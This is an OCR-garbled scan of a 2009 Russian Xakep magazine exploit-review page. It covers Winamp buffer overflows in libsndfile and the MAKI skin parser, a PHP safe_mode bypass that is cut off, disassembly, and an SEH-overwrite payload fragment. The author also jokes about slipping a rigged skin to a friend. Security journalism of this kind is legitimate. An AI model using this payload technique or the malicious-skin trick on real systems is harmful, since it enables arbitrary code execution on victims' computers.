27.11.2014 Views

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

взлом<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

обзор<br />

эксплоитов<br />

Если «отдебажить» парсинг .maki-файла, то мы получим следующую<br />

картину:<br />

ор<br />

плоитов<br />

НИ К ЧЕМУ НЕ ОБЯЗЫВАЮЩИЙ ЭКСПЛОЙТ ДЛЯ WINAMP<br />

.text:12094F62 loc_12094F62:<br />

.text:12094F62 mov ax, [ebx]<br />

.text:12094F65 movsx edi, ax ; sign extension<br />

.text:12094F68 inc ebx<br />

.text:12094F69 push edi ; Size<br />

.text:12094F6A inc ebx<br />

.text:12094F6B lea eax, [ebp+MultiByteStr]<br />

.text:12094F71 push ebx ; Src<br />

.text:12094F72 push eax ; Dst, buffer is located in the<br />

stack<br />

.text:12094F73 call memmove<br />

ор<br />

плоитов<br />

ор<br />

плоитов<br />

ор<br />

плоитов<br />

ор<br />

плоитов<br />

ор<br />

плоитов<br />

ор<br />

плоитов<br />

04<br />

WINAMP BUFFER OWERFLOW<br />

MULTIPLE EXPLOITS<br />

>> Brief:<br />

На этот раз не обошлось без музыкальных жертв — под прицел багоискателей<br />

попал самый популярный Windows-player — Winamp от Nullsoft.<br />

За один лишь месяц в нем было найдено две громких уязвимости, о<br />

которых я спешу тебе рассказать.<br />

1. Как я уже писал, все продукты базируются на каких-либо компонентных<br />

библиотеках. И если в софте практически идеальный код, то уязвимость<br />

может находиться во вспомогательной библиотеке. Особенно<br />

тяжело положение, если исходники библиотеки закрыты (с одной стороны,<br />

сложно найти уязвимость, но с другой — никто от нее в принципе не<br />

застрахован :)). Но в случае с Winamp — баг тривиален. Умельцы нашли<br />

изъян в функциях «voc_read_header()» и «aiff_read_header()», принадлежащих<br />

библиотеке «libsndfile» и читающих заголовки «.voc»- и «.aiff»-<br />

файлов (по-видимому, обе функции написаны по одному алгоритму).<br />

Если верить экспертам, в этих функциях содержится код, приводящий к<br />

переполнению динамической памяти. Как следствие, любой желающий<br />

может создать «.voc» или «.aiff»-файл со специальным заголовком, после<br />

чего Winamp послушно выполнит произвольный системный код.<br />

К сожалению, все ограничилось словами, и сплойт никто так и не выложил.<br />

Однако у тебя имеется вся информация к размышлению, чтобы<br />

написать собственный сплойт (перерывай старые подшивки журнала и<br />

смотри статьи Криса — по подобным наводкам он это делал не раз ;)).<br />

2. Ответь мне на простой вопрос: «Любишь ли ты скины Winamp, как люблю<br />

их я?». На самом деле, шучу, но было время, когда я часами изучал<br />

различные шкурки от проигрывателя, останавливаясь на самом лучшем.<br />

Думаю, и сейчас есть фанаты модных скинов... Гхм, к чему это я? :) Короче<br />

говоря, совсем недавно обнаружили возможность переполнения буфера<br />

в парсере «MAKI» (библиотека gen_ff.dll). Maki — это, собственно, и есть<br />

скрипты Winamp’а, образующие скин (привязку кнопок, функционал<br />

и т.п.). Если углубиться в технические подробности, будет понятно, что<br />

механизм парсинга .maki состоит в последовательном чтении двух байт,<br />

отвечающих за длину. Если чуть увеличить эту длину, произойдет... правильно<br />

— переполнение стека и аварийное завершение программы. А<br />

если чуток подумать и увеличить длину с умом, мы добьемся перезаписи<br />

адреса возврата и выполнение произвольного системного кода. Что и<br />

происходит в эксплойте.<br />

payload = "\x41»*16756<br />

payload += "\x74\x06\x90\x90"<br />

payload += "\x32\x55\xF0\x12" # universal p/p/r in_mod.<br />

dll<br />

payload += shellcode # calc shellcode from metasploit<br />

В этом фрагменте эксплойта происходит смещение строки на адрес<br />

шелл кода, который успешно вызовется после обработки .maki-файла.<br />

.text:120951E5 loc_120951E5:<br />

.text:120951E5 mov edi, [ebx]<br />

.text:120951E7 add ebx, 4<br />

.text:120951EA mov ax, [ebx]<br />

.text:120951ED movsx esi, ax ; sign extension<br />

.text:120951F0 inc ebx<br />

.text:120951F1 push esi ; Size<br />

.text:120951F2 inc ebx<br />

.text:120951F3 lea eax, [ebp+var_10144]<br />

.text:120951F9 push ebx ; Src<br />

.text:120951FA push eax ; Dst, buffer is located in the<br />

stack<br />

.text:120951FB call memmove<br />

Все испытания проводились на скине от «Big Bento», который ты<br />

можешь найти на официальном сайте. Файл mcvcore.maki находится в<br />

«PROGRAMFILES/Winamp/Skins/Bento/Scripts». А теперь подумай, что<br />

будет, если аккуратно впарить якобы крутой скин своему сотоварищу?<br />

Правильно! Но я тебе этого не говорил :).<br />

>> Targets<br />

Уязвимыми считаются:<br />

1. Библиотека «libsndfile» до версии Solution<br />

Зайди на «winamp.com» и обновись до последнего релиза. Благодаря<br />

своевременному оповещению разработчиков, баг был исправлен в тот<br />

же день. Хорошо это или нет — не знаю, но в любом случае в Сети еще<br />

осталось огромное количество уязвимых версий.<br />

>> Exploit:<br />

По первому багу, как я уже сказал, эксплойта никто не предоставил. Зато<br />

по второму — их целых два. Один написан на Си (securitylab.ru/poc/<br />

extra/380450.php), а второй на Питоне (securitylab.ru/poc/extra/380454.<br />

php).<br />

05<br />

PHP > Brief:<br />

Нашлась дырка и в самой свежей версии PHP, позволяющая<br />

осуществить обход ограничений «safe_mode». Напомню, что<br />

взведенная в php.ini опция «safe_mode» не позволяет инклудить<br />

файлы, выполнять системные вызовы и т.п. Но багоискатели<br />

нашли способ выполнения команд при включенном<br />

052<br />

XÀÊÅÐ 07 /127/ 09

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!